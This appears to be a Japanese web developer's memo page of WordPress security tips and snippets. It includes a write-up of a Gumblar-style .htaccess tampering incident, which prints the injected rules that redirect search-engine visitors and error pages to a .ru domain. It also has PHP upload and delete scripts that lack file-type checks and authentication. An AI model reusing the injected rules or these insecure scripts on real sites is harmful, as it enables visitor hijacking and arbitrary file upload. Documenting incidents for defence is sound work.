[WP]インストール前から気をつけること(セキュリティ的観点から)
前置き
wordpressのセキュリティレベルを少しでもを上げる為に、インストール前に確認しておきたいこと。
特にDBのプレフィックスなど後から変更しにくいものもあるので事前に意識しておく。
何れも“気休め”程度にしかならないかも知れない。
しかし1%でもセキュリティレベルが上がれば…と願いつつ。
確認項目
1.インストール時に気をつけること
- 必ず最新のwordpressで構築する(※1)
- DBのプレフィックス(Prefix)をデフォルトの「wp_」から乱数などに変更する
- 管理者名を「admin」のままにしない
- 管理者パスワードは乱数などの「複雑なもの」にする
※1:
使い慣れた、または有用なプラグインが最新バージョンに対応していないので最新版が使えない…といった場合もあるが、極力最新版を使う様に心がけたい
2.インストール直後に行っておくこと
- /wp-admin ディレクトリ直下に ベーシック認証(.htaccess/.htpasswd)を設定する
- /wp-config.php にセキュリティキーを設定する
- /wp-config.php や /.htaccess はパーミッションを444(Read Only)にしておく
- セキュリティ関連のプラグイン『Secure WordPress』等を入れておく(下記参照)
- プラグイン『Akismet』を有効にしておく(WordPress.comでAPI keyを取得する)
- デフォルトのサンプル固定ページとコメントは削除(メッセンジャー云々、ゴッサム云々、という固定ページ….)
3.運用中に行うこと、心がけること
- 可能な限り新しいバージョンのWordPressを更新しつづける
- 定期的にDBやwordpress本体のバックアップを取っておく
- プラグイン『admin-ip-watcher』から送られてくるメールを注視する
4.その他(ガンプラー対策も含めて)
- FTP接続ではなく、FTPS(FTP-SSL )やSFTPで接続する
- FTPクライアント『FFFTP』は使用しない(SFTPに対応していない、また攻撃されやすい為)
- 可能な限りWindows以外のOSで作業する(ウィルスに感染しにくい為)
もしファイル改ざんされてしまったら、真っ先に行う事
まず発見した時点で
- 解決する迄、一時的にサイトをクローズする(訪問者に被害が及ぶ可能性が高い為)
次に
- WordPressを最新のバージョンにアップデートする
- プラグイン等の関係でアップデートが無理ならばgrep等で「base64」というキーワードでwordpress全体を検索し該当箇所を潰す。htmlファイルには妙なJSが埋め込まれていることがある。.htaccessにも妙な埋め込みもある。他にphp自体の改ざん等いろいろある。。。。)
- 管理画面などのパスワードを変更する
wordpressセキュリティに関する、有益なサイト
フォームで使う値など、いろいろコピペ用
使い道
コピペ、またはDB流し込み用に
ソース
時間(分)
1〜5分 5〜10分 10〜15分 15〜20分 20〜25分 25〜20分 30〜35分 35〜30分 40〜45分 45〜40分 50〜55分 55〜50分 60〜65分 65〜60分 70〜75分 75〜70分 80〜85分 85〜80分 90〜95分 95〜100分 100分 以上
人数
1〜30名 30〜50名 50〜70名 70〜100名 100〜130名 130〜150名 150〜170名 170〜200名 200〜230名 230〜250名 250〜270名 270〜300名 300名 以上
時間(営業時間)
----- 8:00 ------ 8:00〜16:00 8:00〜16:30 8:00〜17:00 8:00〜17:30 8:00〜18:00 8:00〜18:30 8:00〜19:00 8:00〜19:30 8:00〜20:00 8:00〜20:30 8:00〜21:00 8:00〜21:30 8:00〜22:00 8:00〜22:30 ----- 8:30 ------ 8:30〜16:00 8:30〜16:30 8:30〜17:00 8:30〜17:30 8:30〜18:30 8:30〜18:30 8:30〜19:00 8:30〜19:30 8:30〜20:00 8:30〜20:30 8:30〜21:00 8:30〜21:30 8:30〜22:00 8:30〜22:30 ----- 9:00 ------ 9:00〜16:00 9:00〜16:30 9:00〜17:00 9:00〜17:30 9:00〜18:00 9:00〜18:30 9:00〜19:00 9:00〜19:30 9:00〜20:00 9:00〜20:30 9:00〜21:00 9:00〜21:30 9:00〜22:00 9:00〜22:30 ----- 9:30 ------ 9:30〜16:00 9:30〜16:30 9:30〜17:00 9:30〜17:30 9:30〜18:00 9:30〜18:30 9:30〜19:00 9:30〜19:30 9:30〜20:00 9:30〜20:30 9:30〜21:00 9:30〜21:30 9:30〜22:00 9:30〜22:30 ----- 10:00 ------ 10:00〜16:00 10:00〜16:30 10:00〜17:00 10:00〜17:30 10:00〜18:00 10:00〜18:30 10:00〜19:00 10:00〜19:30 10:00〜20:00 10:00〜20:30 10:00〜21:00 10:00〜21:30 10:00〜22:00 10:00〜22:30
賞与
1ヶ月分 1.1ヶ月分 1.2ヶ月分 1.3ヶ月分 1.4ヶ月分 1.5ヶ月分 1.6ヶ月分 1.7ヶ月分 1.8ヶ月分 1.9ヶ月分 2ヶ月分 2.1ヶ月分 2.2ヶ月分 2.3ヶ月分 2.4ヶ月分 2.5ヶ月分 2.6ヶ月分 2.7ヶ月分 2.8ヶ月分 2.9ヶ月分 3ヶ月分 3.1ヶ月分 3.2ヶ月分 3.3ヶ月分 3.4ヶ月分 3.5ヶ月分 3.6ヶ月分 3.7ヶ月分 3.8ヶ月分 3.9ヶ月分 4ヶ月分
都道府県
北海道 青森県 岩手県 宮城県 秋田県 山形県 福島県 茨城県 栃木県 群馬県 埼玉県 千葉県 東京都 神奈川県 新潟県 富山県 石川県 福井県 山梨県 長野県 岐阜県 静岡県 愛知県 三重県 滋賀県 京都府 大阪府 兵庫県 奈良県 和歌山県 鳥取県 島根県 岡山県 広島県 山口県 徳島県 香川県 愛媛県 高知県 福岡県 佐賀県 長崎県 熊本県 大分県 宮崎県 鹿児島県 沖縄県
年数
1年 2年 3年 4年 5年 6年 7年 8年 9年 10年 11年 12年 13年 14年 15年 16年 17年 18年 19年 20年 21年 22年 23年 24年 25年 26年 27年 28年 29年 30年 31年 32年 33年 34年 35年 36年 37年 38年 39年 40年 41年 42年 43年 44年 45年 46年 47年 48年 49年 50年 51年 52年 53年 54年 55年 56年 57年 58年 59年 60年 61年 62年 63年 64年 65年 66年 67年 68年 69年 70年 71年 72年 73年 74年 75年 76年 77年 78年 79年 80年 81年 82年 83年 84年 85年 86年 87年 88年 89年 90年 91年 92年 93年 94年 95年 96年 97年 98年 99年 100年
htaccess でキャリア振り分け
使い道
厳密ではなく簡易的に、かつ簡単に実装したい場合。
記述例(1)
まとめて記述
#RewriteEngineを有効にする RewriteEngine on #↓ユーザエージェントからを見てそれぞれのページへ #携帯 RewriteCond %{HTTP_USER_AGENT} ^DoCoMo [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^KDDI [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^Up.Browser [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^J-PHONE [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^vodafone [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^SoftBank [NC] RewriteRule ^.*$ http://*****.***/mobile/ [L] #アップル RewriteCond %{HTTP_USER_AGENT} ^iPod [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^iPad [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^iPhone [NC] RewriteRule ^.*$ http://*****.***/iphone/ [L] #アンドロイド RewriteCond %{HTTP_USER_AGENT} ^Android [NC] RewriteRule ^.*$ http://*****.***/android/ [L]
記述例(2)
一つ一つ分けて記述
# Options -Indexes # < IfModule mod_rewrite.c> # DoCoMo RewriteEngine On RewriteCond %{HTTP_USER_AGENT} DoCoMo RewriteRule ^$ /smp/ [R] # Softbank RewriteCond %{HTTP_USER_AGENT} J-PHONE RewriteRule ^$ /smp/ [R] RewriteCond %{HTTP_USER_AGENT} Vodafone RewriteRule ^$ /smp/ [R] RewriteCond %{HTTP_USER_AGENT} SoftBank RewriteRule ^$ /smp/ [R] # AU KDDI RewriteCond %{HTTP_USER_AGENT} KDDI RewriteRule ^$ /smp/ [R] RewriteCond %{HTTP_USER_AGENT} UP.Browser RewriteRule ^$ /smp/ [R] # DDI Pocket RewriteCond %{HTTP_USER_AGENT} DDIPOCKET RewriteRule ^$ /smp/ [R] # WILLCOM RewriteCond %{HTTP_USER_AGENT} WILLCOM RewriteRule ^$ /smp/ [R] # iPod RewriteCond %{HTTP_USER_AGENT} iPod RewriteRule ^$ /smp/ [R] # iPhone RewriteCond %{HTTP_USER_AGENT} iPhone RewriteRule ^$ /smp/ [R] # Android RewriteCond %{HTTP_USER_AGENT} Android RewriteRule ^$ /smp/ [R] # WILLCOM RewriteCond %{HTTP_USER_AGENT} PDA RewriteRule ^$ /smp/ [R] # IE # RewriteEngine On # RewriteCond %{HTTP_USER_AGENT} MSIE # RewriteRule ^$ /msie/ [R] # PC Internet Explorer Firefox # RewriteCond %{HTTP_USER_AGENT} Mozilla # RewriteRule ^$ / [R] # PC Opera # RewriteCond %{HTTP_USER_AGENT} Opera # RewriteRule ^$ / [R] # Mac Safari # RewriteCond %{HTTP_USER_AGENT} Safari # RewriteRule ^$ / [R] # < /IfModule>
[WP] 記事文中の特定の文字列を変換するメモ
使い道
既に投稿数が多く、リンクや<p>タグなどの混入を整形するのが厄介な場合などに有用
補足説明
変数に入れるので、the_content(); ではなく get_the_content(); を使う。文字列の変換は str_replace で。
ソース
<?php the_content(__('Read the rest of this entry »', 'kubrick')); ?>を下記の様に変更
<?php $content = get_the_content(); $content = str_replace("(置き換える前の文字列)", "(置き換えた後の文字列)", $content);//変換処理 $content = preg_replace("/\n/","<br />",$content);//改行の調整 echo $content; ?>
htaccessファイルの改ざんについて
経緯と原因、そして対策
FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。
改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。
ということは、
FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
(FTPクライアントはCyberduckとTransmitの併用。)
さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。
確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。
応急処置として、
他の方には面倒をかけるが(固定IPで無い為設定できない)、
現在はIP制限を行い、アクセス後毎度PWを変更している。
この処置により、事態は収束したようにも見える。
他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。
環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。
ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。
本来アカウント管理は自分では無いのだが、そうも言っていられない。
事態は深刻なのだ。
参考
・【注意喚起】Gumblar(ガンブラー)ウイルスによる新たなホームページ改ざん被害を確認|株式会社ラック
・ガンブラー対策「.htaccess」にも注意!|セキュリティーブログ
・Gumblar/8080系ウィルスのサイト運営者向け対策サイト
追記された記述の例
下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。
RewriteEngine On ErrorDocument 400 http://(ドメイン名).ru/force/index.php ErrorDocument 401 http://(ドメイン名).ru/force/index.php ErrorDocument 403 http://(ドメイン名).ru/force/index.php ErrorDocument 404 http://(ドメイン名).ru/force/index.php ErrorDocument 500 http://(ドメイン名).ru/force/index.php RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ http://(ドメイン名).ru/force/index.php [R=301,L]
など…………….
[WP] ループ内で連番を得る
使い道
ループ内でユニークな数値を得るには <?php echo $post->ID ?>でよいのだが、連番で必要なこともたまにあったり。
ソース/使い方
テンプレート内のfunctions.php(wp-content/themes/○○○○/functions.php)に
function getLoopIndex(){ global $wp_query; return $wp_query->current_post; } function getLoopCount(){ global $wp_query; return $wp_query->current_post+1; }
を入れループ内に
数値0からスタート:<?php echo getLoopIndex(); ?> 数値1からスタート:<?php echo getLoopCount(); ?>
と記述して使う。
出典
[WP] [wp-pagenavi] スタイル、CSS
![[WP] wp-pagenavi のスタイル](http://phono.co.jp/note/wp-content/uploads/2011/07/2bfc96a45921677282a36721a07709ca1.png)
使い道
いつも忘れてしまうので使い慣れているスタイルをメモ。
PHPソース
<div class="navigation"> <?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } ?> </div>
CSSソース
.navigation { display: block; text-align: center; margin-bottom: 30px; font-size:12px; } .wp-pagenavi { clear: both; } .wp-pagenavi a, .wp-pagenavi span { text-decoration: none; border:0px solid #FFFFFF; padding: 3px 5px; margin: 2px; } .wp-pagenavi a:hover, .wp-pagenavi span.current { color:#fff font-weight:bold; border-radius: 2px; -webkit-border-radius: 2px; -moz-border-radius: 2px; } .wp-pagenavi span.current { border:1px solid #738F3E; background:#738F3E; border-radius: 2px; -webkit-border-radius: 2px; -moz-border-radius: 2px; } .wp-pagenavi .pages { display: none; }
[WP] 管理画面ヘッダのショートカットプルダウンを消す。
![[WP] 管理画面ヘッダのショートカットプルダウンを消す。](http://phono.co.jp/note/wp-content/uploads/2011/07/427feeba2c3a5b495c286f27ae1fdcc3-300x168.png)
使い道
Magic Fieldsを使用した場合、権利画面ヘッダ右のプルダウンメニューがうまく機能しなくなるので、いっそのこと非表示にしてしまう。
ソース
/wp-admin/includes/template.php
1490行目付近
$first = array_keys($allowed_actions); $first = $first[0]; echo '<div id="favorite-actions" style="display:none;">';//ここに style="display:none;"を追加する echo '<div id="favorite-first"><a href="' . $first . '">' . $allowed_actions[$first] . '</a></div><div id="favorite-toggle"><br /></div>'; echo '<div id="favorite-inside">'; array_shift($allowed_actions); foreach ( $allowed_actions as $action => $label) { echo "<div class='favorite-action'><a href='$action'>"; echo $label; echo "</a></div>\n"; } echo "</div></div>\n";
特定ディレクトリ内のファイルを一括削除

ディレクトリ構成
├ /upload_files/(削除するファイルを収めるのディレクトリ)
└ /file_delete_admin/
└ index.php(スクリプト本体)
ソース ダウンロード
ソース
<?php //ファイル削除処理 if($_REQUEST['del'] == "del"){ $CacheDir = "../upload_files/";//ディレクトリ名 $dir = opendir($CacheDir); while(($ent = readdir()) !== FALSE) { if ($ent != "." && $ent != "..") { unlink($CacheDir."/".$ent); } } echo '<span style="color:#993300;">ディレクトリ内のファイルを<br />全て削除しました。</span>'; } ?> <ol> <?php //ファイル一覧表示 if ($dir = opendir("../upload_files")) {//ディレクトリ名 while (($file = readdir($dir)) !== false) { if ($file != "." && $file != "..") { echo '<li><a href="../upload_files/' . $file . '" target="_blank">' . $file . '</a><br /></li>'; } } closedir($dir); } ?>
ファイルのアップロード
説明
ファイルを日付時分にリネームしてアップロードします。
一番最後のドットだけをファイルタイプの判断材料にすることでファイル名にドットが幾つもある場合でも正確な判断をします。
inputエリアの「クリア」ボタンはおまけ。
アップしたファイルを一括削除するスクリプトもあります。
ソース
入力
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>ファイルのアップロード</title> <!-- クリアボタン --> <script type="text/javascript"> function sample(oId){ var obj = document.getElementById(oId); var stO = obj.innerHTML; obj.innerHTML = stO; } </script> <!-- /クリアボタン --> </head> <body> <form name="UserSend" action="confirm.php" method="post" enctype="multipart/form-data"> <p> アップロード </p> <p id="CLEARINPUT"> <input type="file" size="40" name="upfile" value="" maxlength=""> <input type="button" value="クリア" onclick="sample('CLEARINPUT')"> </p> <p> <input type="submit" name="" value="アップロードする"> </p> </form> </body> </html>
確認&アップロード
アップロード先のディレクトリは「./upload_files」とする
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>ファイルのアップロード</title> </head> <body> <p> <?php $updir = "./upload_files"; $tmp_file = @$_FILES['upfile']['tmp_name']; $file_kakutyoshi = substr(strrchr(@$_FILES['upfile']['name'], '.'), 1);//最後のドットだけを判断し拡張子を取り出す(これによりファイル名にドットがある場合でもOK) @list($file_name,$file_type) = explode(".",@$_FILES['upfile']['name']);//ファイル名を取り出す(拡張子とファイル名をドットで区切って判断している) $copy_file = date("Ymd-His") . "." . $file_kakutyoshi;//ファイル名と拡張子を繋げる if (is_uploaded_file($_FILES["upfile"]["tmp_name"])) { if (move_uploaded_file($tmp_file,"$updir/$copy_file")) { //if($file_kakutyoshi =="") {//ファイル拡張子が取得出来なかった場合はファイルがアップされていないものと見なす chmod("upload_files/" . $_FILES["upfile"]["name"], 0644); echo $_FILES["upfile"]["name"] . "をアップロードしました。<br />"; echo "(※アップロードしたファイルは <a href=\"" . $updir . "/" . $copy_file . "\" target=\"_blank\">こちら</a> から確認できます。)"; } else { echo "ファイルをアップロードできませんでした。"; } } else { echo "<span class=\"fcb fwb\" style=\"font-size:14px;\">ファイルが選択されていません。</span>"; } ?> </p> </body> </html>